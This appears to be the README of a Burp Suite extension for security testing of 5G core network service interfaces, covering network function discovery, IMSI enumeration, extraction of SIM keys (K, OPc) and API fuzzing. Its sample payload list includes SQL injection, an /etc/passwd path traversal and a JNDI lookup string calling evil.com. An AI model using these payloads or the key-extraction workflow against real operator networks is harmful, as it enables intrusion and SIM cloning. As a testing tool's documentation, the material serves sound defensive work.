PentHertz/5GC_API_Pentest
GitHub: PentHertz/5GC_API_Pentest
专为5G核心网安全测试设计的Burp Suite扩展,支持自动化网元发现、用户枚举、凭据提取及API模糊测试。
Stars: 15 | Forks: 3
# 5GC API 渗透测试套件 v1.0 - 社区版
**用于 5G 核心网安全测试的 Burp Suite 扩展**
## 📡 概述
**5GC API 渗透测试套件**是一个专为 5G 核心网 (5GC) 安全测试设计的综合 Burp Suite 扩展。该工具由 **Penthertz** 开发,可自动发现、枚举和利用 5G 基于服务的接口 (SBI) 中的漏洞。
该工具是我们几年前发布的 **5GC API parser** Burp Suite 扩展的替代品。
**作者:** Sébastien Dudek [@Penthertz](https://x.com/PentHertz)
**公司:** [Penthertz](https://penthertz.com) - RF Security & Telecommunications Security Experts
**许可证:** Apache License 2.0
**版本:** 1.0 Community Edition
### 快速演示
https://github.com/user-attachments/assets/8351c152-0234-4643-91ea-221a20eaabea
## ✨ 主要特性
### 🎯 自动化攻击场景
- **Auto-Audit**: 一键式自动评估
- **Network Function Discovery**: 通过 NRF 枚举所有 5GC 网络功能
- **IMSI Enumeration**: 通过 UDM API 发现活跃用户
- **Credential Extraction**: 从 UDR 提取永久认证密钥 (K, OPc)
- **Vulnerability Detection**: 自动化安全问题识别
### 🔐 认证与安全
- **OAuth2 Support**: 3GPP TS 29.510 OAuth2 工作流(手动获取令牌)
- **mTLS Configuration**: 双向 TLS 认证支持(测试版)
- **JWT Bearer Tokens**: 自动将令牌注入请求
- **Production Safety**: 速率限制和请求延迟控制
### 🔍 高级测试能力
- **OpenAPI-based Fuzzing**: 加载 3GPP YAML 规范并对端点进行 Fuzzing
- **Template-based Fuzzing**: 使用 `$$markers$$` 进行精确的 payload 注入
- **Request/Response Viewer**: 详细的 HTTP 流量分析
- **Burp Integration**: 发送请求到 Repeater,报告给 Scanner
### 📊 丰富的用户界面
- **Dashboard**: 实时统计和快捷操作
- **Configuration**: 完整的 5GC 网络拓扑设置
- **Discovered Assets**: 带有导出功能的 NF 和 IMSI 表格
- **Credentials**: 安全的凭据管理和导出 (JSON, CSV, pySim)
- **Security Issues**: 包含请求/响应证据的详细漏洞报告
- **API Fuzzing**: 带有 payload 分类的交互式 Fuzzing
- **Activity Log**: 带有导出功能的全面日志记录
### 🌐 网络功能支持
- **Core NFs**: NRF, UDM, UDR, AUSF, AMF, SMF, PCF
- **Additional NFs**: BSF, NSSF, SMSF, NEF, SCP, SEPP, UPF 等
- **API Versioning**: 自动检测和配置 (v1, v2, v3)
- **SCP Proxy**: 自动检测和使用 Service Communication Proxy
## 🛠️ 系统要求
### 软件要求
- **Burp Suite Professional** (推荐) 或 Community Edition
- **Python/Jython 2.7** (Burp Suite 自带)
- **Java 8+** (用于 Burp Suite)
### 目标环境
- **5G Core Network** (例如 Open5GS, free5GC, 商业 5GC)
- 访问 5GC SBI 接口的网络权限 (通常为端口 7777 上的 HTTP)
- 可选:用于认证测试的 OAuth2 服务器
- 可选:用于双向认证的 mTLS 证书
### 3GPP 规范 (可选)
- 3GPP Release 16/17/18 OpenAPI YAML 文件
- 获取地址: [jdegre/5GC_APIs](https://github.com/jdegre/5GC_APIs)
## 📥 安装说明
### 第 1 步:下载扩展
```
git clone https://github.com/PentHertz/5GC_API_pentest
cd 5GC_API_pentest
```
注意:请确保您已在 Burp Suite 中安装了 Jython。
### 第 2 步:在 Burp Suite 中加载
1. 打开 **Burp Suite**
2. 导航至 **Extender** → **Extensions**
3. 点击 **Add**
4. 将 **Extension Type** 设置为 **Python**
5. 选择 `5GC_API_Pentest.py` 文件
6. 点击 **Next**
扩展应成功加载并显示以下输出:
```
======================================================================
5GC API PENTEST SUITE v1.0 - Burp Extension (Community Edition)
Penthertz Security Research
======================================================================
[+] 5GC API Pentest Suite v1.0 (Community Edition) loaded successfully!
```
### 第 3 步:访问扩展
Burp Suite 中将出现一个名为 **"5GC API Pentest"** 的新标签页。
## 🚀 快速入门指南
### 1. 配置网络功能 URL
进入 **Configuration** 标签页:
```
NRF URL: http://127.0.0.10:7777 <--- At least this one
UDM URL: http://127.0.0.12:7777 (optional)
UDR URL: http://127.0.0.20:7777 (optional)
AUSF URL: http://127.0.0.11:7777 (optional)
AMF URL: http://127.0.0.5:7777 (optional)
SMF URL: http://127.0.0.4:7777 (optional)
```
**提示:** 扩展可以在 NF 发现后自动填充这些内容。
### 2. 配置 IMSI 范围
```
Base IMSI: 999700000000
Start Range: 1
End Range: 100
Workers: 10
```
### 3. 运行自动审计
进入 **Dashboard** 标签页并点击:
**🔴 Auto-Audit**
这将自动执行以下操作:
1. ✅ 发现所有网络功能
2. ✅ 枚举有效的 IMSI
3. ✅ 提取认证凭据
4. ✅ 检测安全漏洞
### 4. 查看结果
- **Discovered Assets**: 查看 NF 和 IMSI
- **Credentials**: 提取的 K/OPc 密钥
- **Security Issues**: 详细的漏洞报告
## 🔐 OAuth2 配置 (3GPP TS 29.510)
### 手动令牌工作流
该扩展实现了 **3GPP TS 29.510** OAuth2 规范,并采用**手动令牌获取工作流**。
#### 第 1 步:配置 OAuth2 参数
进入 **Configuration** → **OAuth2 / JWT Authentication**:
```
NRF OAuth2 URL: http://127.0.0.10:7777/oauth2/token
NF Instance ID: 12345678-1234-1234-1234-123456789abc
NF Type: AMF
Target NF Type: (optional)
Scope: nnrf-disc nnrf-nfm
```
#### 第 2 步:生成 OAuth2 请求
点击 **"Generate OAuth2 Request"**
扩展将显示:
```
# CURL 命令
curl -X POST 'http://127.0.0.10:7777/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=client_credentials&nfInstanceId=...'
```
#### 第 3 步:手动运行请求
**选项 A:** 复制 curl 命令并在终端中运行
**选项 B:** 点击 **"Send to Burp Repeater"** 并执行
#### 第 4 步:激活令牌
1. 从 JSON 响应中复制 `access_token`:
{
"access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
"token_type": "Bearer",
"expires_in": 3600
}
2. 将令牌粘贴到 **"Access Token"** 字段中
3. 点击 **"Activate Token"** (绿色按钮)
#### 第 5 步:启用 OAuth
勾选:**☑ Enable OAuth2 Bearer Token for all requests**
随后的所有请求都将包含:
```
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
```
## 🎯 API Fuzzing
### 使用 3GPP OpenAPI 规范
#### 第 1 步:加载 OpenAPI 目录
1. 下载 3GPP 规范:
git clone https://github.com/jdegre/5GC_APIs.git
2. 对此仓库使用 `5GC_API_YAML_file_corrector_for_SnakeYAML.py` 以修复 unicode 和其他问题,否则某些 YAML 将无法被正确解析
3. 在 Burp Suite 中,进入 **API Fuzzing** 标签页,点击 **"Load API Directory..."**
4. 选择 `5GC_APIs/` 文件夹
扩展将解析所有 YAML 文件并显示可用的 API。
#### 第 2 步:选择 API 和端点
1. **Select API**: 点击一个 API (例如 "Nudm_SDM")
2. **Select Endpoint**: 选择一个端点 (例如 `GET /nudm-sdm/v2/imsi-{imsi}/am-data`)
将生成一个带有 `$$markers$$` 的 **请求模板**:
```
GET /nudm-sdm/v2/imsi-$$imsi$$/am-data HTTP/1.1
Host: $$host$$
Content-Type: application/json
Accept: application/json
```
更改标记或其他带有 `$$param$$` 标记的参数以对其进行 Fuzzing。
#### 第 3 步:配置 Fuzzing
**Base URL:**
```
http://127.0.0.12:7777
```
**Threads:** 5
**Delay:** 100ms
#### 第 4 步:加载 Payload
**选项 A:** 从文件加载 (每行一个 payload)
**选项 B:** 按类别加载:
- SQL Injection
- XSS (Cross-Site Scripting)
- Path Traversal
- 5GC Specific - IMSI
**选项 C:** 手动输入:
```
' OR '1'='1
../../../etc/passwd
999700000000001
${jndi:ldap://evil.com/a}
```
#### 第 5 步:开始 Fuzzing
点击 **"Start Fuzzing"**
扩展将:
1. 将每个通常标记为 `$$param$$` 的 *$$marker$$* 替换为 payload
2. 发送请求并分析响应
3. 检测异常 (错误、注入、大响应)
4. 实时显示结果
#### 第 6 步:查看结果
- **点击行** 查看完整的请求/响应
- **右键点击** → **"Send to Repeater"** 进行进一步测试
- **Export results** 用于报告
## 📤 导出功能
### 凭据导出
**JSON 格式:**
```
{
"timestamp": "2025-01-15 14:30:00",
"total_credentials": 50,
"credentials": [
{
"imsi": "999700000000001",
"k": "465B5CE8B199B49FAA5F0A2EE238A6BC",
"opc": "E8ED289DEBA952E4283B54E88E6183CA",
"sqn": "000000000001",
"amf": "8000"
}
]
}
```
**CSV 格式:**
```
IMSI,K,OPc,SQN,AMF,Timestamp
999700000000001,465B5CE8...,E8ED289D...,000000000001,8000,2025-01-15 14:30:00
```
**pySim 格式** (用于 SIM 卡编程):
```
[
{
"IMSI": "999700000000001",
"Ki": "465B5CE8B199B49FAA5F0A2EE238A6BC",
"OPc": "E8ED289DEBA952E4283B54E88E6183CA",
"ADM1": "00000000",
"ICCID": "8988211000000000001"
}
]
```
### 安全报告导出
包含以下内容的综合 JSON 报告:
- 发现的网络功能
- 枚举的 IMSI
- 提取的凭据
- 带有请求/响应证据的安全问题
- 配置快照
## ⚙️ 高级配置
### 生产环境安全设置
启用 **PRODUCTION MODE** 以进行安全测试:
```
☑ PRODUCTION MODE (enables safety features)
Max Requests/Second: 10
Request Delay (ms): 500
Max Concurrent Threads: 3
```
### 快速预设
**🟢 Stealth Mode (安全):**
- 3 workers, 5 req/s, 500ms delay
- IMSI range: 1-100
- 适用于:生产环境测试
**🟡 Balanced Mode (正常):**
- 10 workers, 20 req/s, 100ms delay
- IMSI range: 1-1000
- 适用于:实验室测试
**🔴 Aggressive Mode (快速):**
- 30 workers, 100 req/s, 10ms delay
- IMSI range: 1-10000
- **⚠️ 仅限实验室环境!**
### API 版本配置
自动检测或手动配置:
```
NRF API Version: v1
UDM API Version: v2
UDR API Version: v2
AUSF API Version: v1
```
点击 **"Auto-Detect Versions"** 自动识别支持的版本。
## 🔍 常见用例
### 用例 1:未认证的 NF 发现
**场景:** 测试 NRF 是否允许未经认证的网络功能枚举
**步骤:**
1. 配置 NRF URL
2. Dashboard → **"Discover NFs"**
3. 查看 **Discovered Assets** 标签页
4. 检查 **Security Issues** 中的 "Missing Authentication" 漏洞
**预期发现:** 如果不需要认证,则为高危问题
### 用例 2:IMSI 隐私违规
**场景:** 测试 UDM 是否允许未经认证的 IMSI 枚举
**步骤:**
1. 配置 UDM URL 和 IMSI 范围
2. Dashboard → **"Enumerate IMSIs"**
3. 查看发现的 IMSI
4. 检查 "Privacy Violation" 安全问题
**预期发现:** 如果顺序 IMSI 测试成功,则为高危问题
### 用例 3:凭据泄露
**场景:** 测试 UDR 是否暴露永久认证密钥
**步骤:**
1. 首先运行 IMSI 枚举
2. Dashboard → **"Extract Credentials"**
3. 查看 **Credentials** 标签页中的 K/OPc 值
4. 导出凭据进行离线分析
**预期发现:** 如果 K/OPc 可在无认证情况下访问,则为严重漏洞
### 用例 4:OAuth2 实现测试
**场景:** 测试 OAuth2 令牌工作流和验证
**步骤:**
1. 配置 OAuth2 参数
2. 生成并执行令牌请求
3. 激活令牌
4. 在启用 OAuth 的情况下运行攻击
5. 比较有无认证的结果
**预期发现:** 正确的认证应阻止未授权访问
### 用例 5:针对注入的 API Fuzzing
**场景:** 测试 SQL/NoSQL 注入漏洞
**步骤:**
1. 加载 3GPP OpenAPI 规范
2. 选择 UDR 认证端点
3. 加载 "SQL Injection" payload 类别
4. 开始 Fuzzing
5. 查看异常 (500 错误、错误泄露)
**预期发现:** 经过适当清理的输入不应产生错误
## 附加资源
- [Open5GS 文档](https://open5gs.org/open5gs/docs/)
- [free5GC 文档](https://free5gc.org/)
- [3GPP 规范](https://www.3gpp.org/specifications)
- [Penthertz 博客](https://penthertz.com/blog)
##📄 许可证
```
Copyright 2025 Sébastien Dudek / Penthertz
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
## 🌟 致谢
- **Open5GS** 团队提供的开源 5G 核心网实现
- **PortSwigger** 提供的 Burp Suite 框架
- **jdegre** 维护的 5GC_APIs 仓库
- **5G 安全研究社区**
标签:3GPP标准, 5G安全, 5G核心网, API安全, Burp Suite插件, Chrome Headless, Homebrew安装, IMSI枚举, JSON输出, JWT, Kubernetes安全, mTLS, NRF, OAuth2, OpenAPI模糊测试, Penthertz, SBI, Service-Based Interface, UDM, UDR, 凭证提取, 协议模糊测试, 密码管理, 电信安全, 移动通信安全, 网络功能发现, 网络安全, 足迹分析, 逆向工具, 配置审计, 隐私保护